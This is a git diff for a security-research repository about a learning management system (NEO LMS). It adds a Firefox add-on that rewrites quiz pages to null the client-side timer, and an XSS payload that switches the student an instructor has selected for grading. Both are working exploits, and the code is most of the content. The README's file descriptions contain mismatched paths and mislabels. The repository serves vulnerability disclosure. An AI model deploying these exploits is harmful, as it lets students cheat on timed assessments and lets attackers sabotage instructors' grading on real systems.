diff --git a/README.md b/README.md index 309f2a2..6e99611 100644 --- a/README.md +++ b/README.md @@ -21,6 +21,16 @@ This repository serves as a directory of both the writeups and the proof-of-conc The timer on quiz assignments is client-side only, the server does not check the submission time, hence by disabling the timer client side we effectively disable the timer. +## Contents + +* [`timer_bypass/matrix_neo_quiz_writeup.pdf`](/timer_bypass/matrix_neo_quiz_writeup.pdf) - Write up for the XSS vulnerabilities found in assigments, task descriptions and the user's portfolio +* [`timer_bypass/proof_of_concept/`](/timer_bypass/proof_of_concept) - Code for the proof-of-concept of the timer bypass, consitutes a Firefox addon which can be loaded as described [here](https://blog.mozilla.org/addons/2015/12/23/loading-temporary-add-ons/) +* [`xss_vulnerabilties/matrix_neo_xss_writeup.pdf`](/xss_vulnerabities/matrix_neo_xss_writeup.pdf) - Write up for the XSS vulnerabilities found in assigments, task descriptions and the user's portfolio +* [`xss_vulnerabilties/proof_of_concept/`](/xss_vulnerabities/proof_of_concept) - Payload that was created specifically to impede a instructor from correcting a student's submission. + + + + ## License ![License Badge](https://mirrors.creativecommons.org/presskit/buttons/80x15/svg/by-nc.svg) diff --git a/timer_bypass/matrix_neo_quiz_writeup.pdf b/timer_bypass/matrix_neo_quiz_writeup.pdf new file mode 100644 index 0000000..cc09a36 Binary files /dev/null and b/timer_bypass/matrix_neo_quiz_writeup.pdf differ diff --git a/timer_bypass/proof_of_concept/main.js b/timer_bypass/proof_of_concept/main.js new file mode 100644 index 0000000..bd75a77 --- /dev/null +++ b/timer_bypass/proof_of_concept/main.js @@ -0,0 +1,104 @@ +function handleResponse(requestDetails) { + + let filter = browser.webRequest.filterResponseData(requestDetails.requestId); + let decoder = new TextDecoder("utf-8"); + let encoder = new TextEncoder(); + + filter.ondata = event => { + + // Decode the first block of data + + let str = decoder.decode(event.data, {stream: true}); + + // Creating a dummy HTML element to simplify operations + const dummy = document.createElement('html'); + dummy.innerHTML = str + + // Get all script elements + + let scripts = dummy.getElementsByTagName('script'); + + for (let i = 0; i < scripts.length; i++) { + if (!scripts[i].hasAttribute('src')) { + if (scripts[i].textContent.includes('init_quiz')) { // Is it the script tag that initializes the quiz? + + // Not the most efficient way to go about doing this, but it works + + let text = scripts[i].textContent; + + // Create an array containing the arguments passed in to the init_quiz() function + + text = text.replace(/(init_quiz\({)/g, '') // Remove the first part of the func call + text = text.replace(/(}\);)/g, '') // Remove the }), aka. the end of the func call + text = text.replace(/\r?\n|\r/g, '') // Remove whitespace + let args = text.split(/,(?=([^']+'[^']+')*[^']*$)/g) // Split using a regex rule + + // Filter the messy array the regex provides + + let uniqueArgs = args.filter((c, index) => { + return args.indexOf(c) === index; + }); + + let filteredArgs = Array() + + + // @NOTE(Mauro): Could probably use a filter here + + for (let index = 0; index < uniqueArgs.length; index++) { + let arg = uniqueArgs[index] + if (arg !== undefined) { + if (!arg.startsWith(',')) { + filteredArgs.push(arg) + } + } + } + + // Iterate through every element of arguments + + let map = new Map(); + + for (let index = 0; index < filteredArgs.length; index++) { + + // Using a substring, get the property name + + let str = filteredArgs[index] + let key = str.substring(0, str.indexOf(':')).trim() + let value = str.replace(key + ':', '').trim() + + // Logic case that checks and converts the different types + + if (value.match(/(\d+)/) != null) { + value = Number(value) + } + else if (value === 'true' || value === 'false') { + + // Given that 'true' and 'false' are JSON representations of true and false + // just JSON parse it + + value = JSON.parse(value) + } + else { + value = value.replace(/'/g, '') + } + + map[key] = value // Add value to map + + } + map['total_seconds'] = null + text = `init_quiz(${JSON.stringify(map)})` + scripts[i].textContent = text + } + } + + } + filter.write(encoder.encode(dummy.innerHTML)); + filter.disconnect(); + } + return {}; +} + +browser.webRequest.onBeforeRequest.addListener( + handleResponse, + {urls: ["https://*/student_take_quiz_assignment/display/*"], types: ["main_frame"]}, + ["blocking"] +); \ No newline at end of file diff --git a/timer_bypass/proof_of_concept/manifest.json b/timer_bypass/proof_of_concept/manifest.json new file mode 100644 index 0000000..815decf --- /dev/null +++ b/timer_bypass/proof_of_concept/manifest.json @@ -0,0 +1,16 @@ +{ + "description": "LMS Vulnerability PoC", + "manifest_version": 2, + "name": "neolms-timer-bypass", + "version": "1.0", + + "permissions": [ + "webRequest", + "webRequestBlocking", + "" + ], + + "background": { + "scripts": ["main.js"] + } + } \ No newline at end of file diff --git a/xss_vulnerabilities/matrix_neo_xss_writeup.pdf b/xss_vulnerabilities/matrix_neo_xss_writeup.pdf new file mode 100644 index 0000000..b83837b Binary files /dev/null and b/xss_vulnerabilities/matrix_neo_xss_writeup.pdf differ diff --git a/xss_vulnerabilities/proof_of_concept/payload.js b/xss_vulnerabilities/proof_of_concept/payload.js new file mode 100644 index 0000000..1cc6092 --- /dev/null +++ b/xss_vulnerabilities/proof_of_concept/payload.js @@ -0,0 +1,14 @@ +window.onload = function() { + student = document.getElementById('selected_student'); + children = student.children + + for(var i = 0; i < children.length; i++) { + let child = children[i]; + if (child.hasAttribute('selected')) { + child.removeAttribute('selected') + children[0].setAttribute('selected', 'selected') + } + } + + change_student_to_grade(student, 'student'); +} \ No newline at end of file